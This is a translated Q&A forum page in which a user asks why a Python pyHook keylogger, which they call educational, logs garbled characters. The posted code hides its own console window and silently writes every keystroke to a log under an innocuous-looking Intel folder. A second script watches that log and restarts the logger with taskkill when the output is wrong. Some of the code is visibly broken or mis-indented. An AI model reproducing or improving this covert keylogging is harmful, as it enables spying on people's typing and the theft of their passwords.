Python 出于某种原因,Pyhook给了我奇怪的输出

Python 出于某种原因,Pyhook给了我奇怪的输出,python,python-3.x,pyhook,pythoncom,Python,Python 3.x,Pyhook,Pythoncom,所以我是Pyhook的新手,我想让自己成为一名教育目的的键盘记录者。然而,日志给了我奇怪的输入。它要么只是随机的符号,总是大写,要么都是好的和正常的 我使用的是python 3.4,我使用的是Windows 这是我的代码: import pyHook import pythoncom import win32gui import win32console import os import sys import time import getpass file = open("C:\\Int

所以我是Pyhook的新手,我想让自己成为一名教育目的的键盘记录者。然而,日志给了我奇怪的输入。它要么只是随机的符号,总是大写,要么都是好的和正常的

我使用的是python 3.4,我使用的是Windows

这是我的代码:

import pyHook
import pythoncom
import win32gui
import win32console
import os
import sys
import time
import getpass



file = open("C:\\Intel\\Logs\\log.txt", "w")
file.write("") #clears the log
file.close() 

log_file = "C:\\Intel\\Logs\\log.txt"                 #name of log file
window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window





def pressed_chars(event):          #on key pressed function
    if event.Ascii:
        f = open(log_file, "a")
        if event.Ascii == 97:      # (if char is "return")
            f.write("a") # (open log_file in append mode)
        char = chr(event.Ascii)    # (insert real char in variable)             
        if event.Ascii == 13:      # (if char is "return")
            f.write("\n")          # (new line)
        elif event.Ascii == 8:     #(if char is "backspace")
            f.write("[BACKSPACE]") #(print "[backspace]")
        f.write(char)
        print(char)# (write char)



proc = pyHook.HookManager()      #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()         #get input
该代码大部分取自互联网,但稍作修改

现在的问题是:我如何确保它始终是正常的输出


如果有什么需要澄清的,请告诉我。

所以我设法让它起作用。 我只是让这个脚本在后台运行,所以每次如果它给我这些奇怪的输入,它都会重新启动,直到它给我实际的字母

import os
import time

count = True
while count == True:
    time.sleep(40)
    if "a" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "b" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "c" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "d" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "e" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "f" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "g" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "h" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "i" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "j" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "k" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "l" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "m" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "n" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "o" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "p" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "q" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "r" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "s" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "t" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "u" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "v" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "w" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "x" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "y" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "z" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "A" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "B" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "C" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "D" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "E" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
   if "F" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "G" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "H" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "I" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "J" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "K" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "L" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "M" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "N" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "O" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "P" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "Q" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "R" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "S" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "T" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "U" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "V" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "W" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "X" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()
    if "Y" in open("C:\\Intel\\Logs\\log.txt").read():
        quit()  
    if not "Z" in open("C:\\Intel\\Logs\\log.txt").read():
        print("hi")
        os.popen("taskkill/F /IM thekeylogger")
        time.sleep(1)
        os.popen("start thekeylogger.")
        continue

如果有人有更好的解决方案,请告诉我

奇怪的输入、奇怪的输出和正常的输出是什么意思?正常的输出:当它实际输出我输入的内容时。怪异的输出:好吧,看起来我甚至不能使用它们,所以这里有一张图片。